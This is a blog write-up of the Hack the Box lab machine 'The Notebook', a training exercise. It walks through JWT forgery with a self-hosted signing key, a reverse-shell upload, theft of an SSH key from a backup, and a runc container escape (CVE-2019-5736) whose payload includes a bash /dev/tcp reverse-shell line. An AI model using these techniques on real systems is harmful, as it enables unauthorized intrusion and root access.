July 31, 2021

Hack the Box - The Notebook

Posted on July 31, 2021  •  5 minutes  • 1020 words

Welcome! Today’s write-up is for the Hack the Box machine - The Notebook. This machine is listed as a medium difficulty Linux machine. It’s pretty straight forward, so let’s jump in.

As always, we start our enumeration with nmap. Here are our results:

Nmap scan report for
Host is up (0.053s latency).
Not shown: 65532 closed ports
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing too crazy, only one obscure port - 10010. So we’ll see what’s being hosted on port 80.

When we visit the site, we see a basic landing page. We have two options, Register and login. When we click the register link, we are brought to a page to do just that.

The login page is simliar as well.

We don’t see anything in the source for the pages, so we’ll start some enumeration with ffuf.

Command: ffuf -u -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

We get back limited results.

login                   [Status: 200, Size: 1250, Words: 173, Lines: 31]
register                [Status: 200, Size: 1422, Words: 193, Lines: 33]
admin                   [Status: 403, Size: 9, Words: 1, Lines: 1]
logout                  [Status: 302, Size: 209, Words: 22, Lines: 4]

Now we’ll load up Burpsuite and start looking at what the site is doing. Once we have that loaded up, we create an account. We now have access to a new section called Notes. During the authentication processes, we see an authentication cookie get passed:

We know it’s as JWT token due to it’s formatting.

The yellow portion is the Header, the green portion is the payload and the blue is the verification signature.

Now if we take this data, and drop it into we can see the decoded data:

What’s good is that we can see that the privKey value on the local machine. So we’re going to try and create our own JWT token with an admin_cap variable set to true. There are a few ways to do this, in my case, quickly generating the value via the CLI was how I did it.

Commands: echo '{"typ":"JWT","alg":"RS256","kid":""}' | base64 The above will create our Header value on the token.

echo '{"username":"bobbillby","email":"","admin_cap":true}' | base64 This will create the Payload value on the token.

Now we have two sets of token values, we need to create a key to match our signature portion.

Command: ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

Then we can host that key on our local machine on the same ports:

Command: python -m SimpleHTTPServer 7070

Now we can take our generated outputs from above, and paste them into to get our proper admin cookie.

Now armed with this value, we need to modify our current cookie session value. Simply open up our Developer tools and head over to the Storage tab. Here we can see the values of the cookies for this site:

Let’s add our new JWT token and refresh. We should now see an Admin Panel section in our header!

In this section, we see that we can view notes and upload a file. This is probably where we’re going to upload our reverse shell!

I tend to always use Pentest Monkey shell. So, now we just upload it.

Make sure you have a listener running before we view the file on the port you specified, otherwise you’ll miss the connection.

We then catch our shell! Awesome, a foothold. Now we need to start enumerating internally. We’ll copy over and see what we can find.

We see an interesting entry in our backups location - home.tar.gz. So we’ll view the contents of this file.

Command: tar -tvf home.tar.gz

We see an .ssh directory. So we’re going to want to extract the files and copy the key to our local machine to see if it works.

Command: tar -xvf home.tar.gz -C /tmp/temp <= We created this directory, you don’t need to. You can use whatever path you want.

Now we can navigate to the .ssh key and snag our key.

We can copy this over by whatever means you like. Then we try to SSH into the target as Noah using this key.

Commands: chmod 0400 noah-key ssh -i noah-key noah@

Once we get in, we snag our user.txt flag!

Now we’re in as a user, we can enumerate a bit further with more priviledges. I always run sudo -l once I get onto a box, it usually has a good path forward.

Since is still on the machine, we’ll re-run that to start. Shortly into the run, we find that runc is on the machine.

Some googling around leads us to CVE-2019-5736. Here&rsquo;s a run down of the CVE. It’s not too hard to find a PoC for this CVE, we have one here . We do meet the requirements for this PoC, we have root access to a container.

First let’s clone the repo down to our machine.

Command: git clone

Now we need to modify the main.go file in order to modify the payload. We’re going to give the payload a shell back to us:

#!/bin/bash \n bash -i >& /dev/tcp/ 0>&1

Now we can rebuild the application.

Command: go build main.go

Now we can host a file server in this location.

Command: python3 -m SimpleHTTPServer 80

We now want to gain a shell into our Docker container.

Command: sudo /usr/bin/docker exec -it webapp-dev01 sh

Now we’ll download our compiled exploit.

Command: wget

Now make it executable.

Command: chmod +x main

Now we run the exloit.

Command: ./main

Now to trigger this fully, we need to run another docker command, same as above.

Command: sudo /usr/bin/docker exec -it webapp-dev01 sh

Once we run that, we should see our listener light up!

There we have it, root access!

Another box down, semi-realistic as well. If you found the write-up useful, send some respect my way!

HTB Profile -

Follow me

I hack things and tweet about things...